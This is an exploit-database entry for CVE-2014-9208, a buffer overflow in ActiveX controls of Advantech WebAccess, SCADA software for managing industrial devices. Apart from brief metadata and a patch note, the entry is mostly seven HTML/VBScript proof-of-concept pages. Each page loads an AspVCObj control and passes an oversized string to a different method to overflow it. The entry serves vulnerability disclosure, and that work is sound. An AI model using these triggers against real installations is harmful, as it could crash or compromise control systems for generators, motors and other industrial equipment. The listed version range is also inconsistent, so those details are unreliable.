Advantech WebAccess AspVCObj ActiveX Remote Code Execution

vendor:

WebAccess

by:

N/A

9,3

CVSS

HIGH

Buffer Overflow

119

CWE

Product Name: WebAccess

Affected Version From: Advantech WebAccess 8.0

Affected Version To: Advantech WebAccess 3.4.3

Patch Exists: YES

Related CWE: CVE-2014-9208

CPE: a:advantech:webaccess

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: Windows SP1

2014

Advantech WebAccess AspVCObj ActiveX Remote Code Execution

Advantech WebAccess is a SCADA software used to remotely manage Industrial Control systems devices like RTU's, Generators, Motors etc. Attackers can execute code remotely by passing maliciously crafted string to ConvToSafeArray API in ASPVCOBJLib.AspDataDriven ActiveX. The vulnerability exists due to a buffer overflow in the AspVCObj.dll library when handling specially crafted arguments passed to the UpdateProject and InterfaceFilter functions.

Mitigation:

Advantech has released a patch to address this vulnerability. Users are advised to update to the latest version of Advantech WebAccess.

Source

Exploit-DB raw data:

Introduction
*********************************************************************************
Using Advantech WebAccess SCADA Software we can remotely manage Industrial
Control systems devices like RTU's, Generators, Motors etc. Attackers can
execute code remotely by passing maliciously crafted string to
ConvToSafeArray API in ASPVCOBJLib.AspDataDriven ActiveX.

Operating System: Windows SP1
Affected Product: Advantech WebAccess 8.0, 3.4.3
Vulnerable Program: AspVCObj.dll
CVE-2014-9208

*********************************************************************************
Proof of Concept (PoC) for "Advantech WebAccess AspVCObj ActiveX
UpdateProject Overflow Remote Code Execution"
*********************************************************************************

<?XML version='1.0' standalone='yes' ?>
<html>
<object classid='clsid:3703BA5D-7329-4E60-A1A5-AE7D6DF267C1' id='target' />
<script language='vbscript'>

<!--
targetFile = "C:\WebAccess\Node\webdobj.dll"
prototype  = "Sub UpdateProject ( ByVal WwwPort As String ,  ByVal ProjName
As String ,  ByVal ProjIP As String ,  ByVal ProjPort As Long ,  ByVal
ProjTimeout As Long ,  ByVal ProjDir As String )"
-->

arg1="defaultV"
arg2="defaultV"
arg3=String(1044, "A")
arg4=1
arg5=1
arg6="defaultV"

target.UpdateProject arg1 ,arg2 ,arg3 ,arg4 ,arg5 ,arg6

</script></html>
</html>


*********************************************************************************

Proof of Concept (PoC) for "Advantech WebAccess AspVCObj ActiveX
InterfaceFilter Overflow Remote Code Execution"
*********************************************************************************
<?XML version='1.0' standalone='yes' ?>
<html>
<object classid='clsid:89D00354-B2EA-4755-915D-615D3962C7D7' id='target' />
<script language='vbscript'>
<!--
targetFile = "C:\WebAccess\Node\AspVCObj.dll"
prototype  = "Function InterfaceFilter ( ByVal Interface As String ) As
String"
-->

arg1=String(1044, "A")

target.InterfaceFilter arg1

</script></html>


*********************************************************************************
Proof of Concept (PoC) for "Advantech WebAccess AspVCObj ActiveX
FileProcess Overflow Remote Code Execution"
*********************************************************************************

<?XML version='1.0' standalone='yes' ?>
<html>
<object classid='clsid:89D00354-B2EA-4755-915D-615D3962C7D7' id='target' />
<script language='vbscript'>
<!--
targetFile = "C:\WebAccess\Node\AspVCObj.dll"
prototype  = "Sub FileProcess ( ByVal Type As Integer ,  ByVal FileName As
String )"
-->

arg1=1
arg2=String(1044, "A")

target.FileProcess arg1 ,arg2

</script></html>


*********************************************************************************
Proof of Concept (PoC) for "Advantech WebAccess AspVCObj ActiveX
GetWideStrCpy Overflow Remote Code Execution"
*********************************************************************************
<?XML version='1.0' standalone='yes' ?>
<html>
<object classid='clsid:89D00354-B2EA-4755-915D-615D3962C7D7' id='target' />
<script language='vbscript'>
<!--
targetFile = "C:\WebAccess\Node\AspVCObj.dll"
prototype  = "Function GetWideStrCpy ( ByVal Type As Integer ,  ByVal inStr
As String ) As String"
-->

arg1=1
arg2=String(1044, "A")

target.GetWideStrCpy arg1 ,arg2

</script></html>

*********************************************************************************
Proof of Concept (PoC) for "Advantech WebAccess AspVCObj ActiveX
GetRecipeInfo Overflow Remote Code Execution"
*********************************************************************************
<?XML version='1.0' standalone='yes' ?>
<html>
<object classid='clsid:89D00354-B2EA-4755-915D-615D3962C7D7' id='target' />
<script language='vbscript'>
<!--
targetFile = "C:\WebAccess\Node\AspVCObj.dll"
prototype  = "Function GetRecipeInfo ( ByVal Type As Integer ,  ByVal
filePath As String )"
-->

arg1=1
arg2=String(1044, "A")

target.GetRecipeInfo arg1 ,arg2

</script></html>

*********************************************************************************
Proof of Concept (PoC) for "Advantech WebAccess AspVCObj ActiveX
GetLastTagNbr Overflow Remote Code Execution"
*********************************************************************************
<?XML version='1.0' standalone='yes' ?>
<html>
<object classid='clsid:89D00354-B2EA-4755-915D-615D3962C7D7' id='target' />
<script language='vbscript'>
<!--
targetFile = "C:\WebAccess\Node\AspVCObj.dll"
prototype  = "Function GetLastTagNbr ( ByVal TagName As String ) As String"
-->

arg1=String(1044, "A")

target.GetLastTagNbr arg1

</script></html>

*********************************************************************************

Proof of Concept (PoC) for "Advantech WebAccess AspVCObj ActiveX
ConvToSafeArray Overflow Remote Code Execution"
*********************************************************************************
<?XML version='1.0' standalone='yes' ?>
<html>
<object classid='clsid:89D00354-B2EA-4755-915D-615D3962C7D7' id='target' />
<script language='vbscript'>
<!--
targetFile = "C:\WebAccess\Node\AspVCObj.dll"
prototype  = "Function ConvToSafeArray ( ByVal ArrSize As Integer ,  ByVal
inStr As String )"
-->

arg1=1
arg2=String(2068, "A")

target.ConvToSafeArray arg1 ,arg2

</script></html>
*********************************************************************************
Vulnerabilities were reported to Advantech sometime in January/February
2015, coordinated through CSOC.From April 2015 they has been postponing the
fix.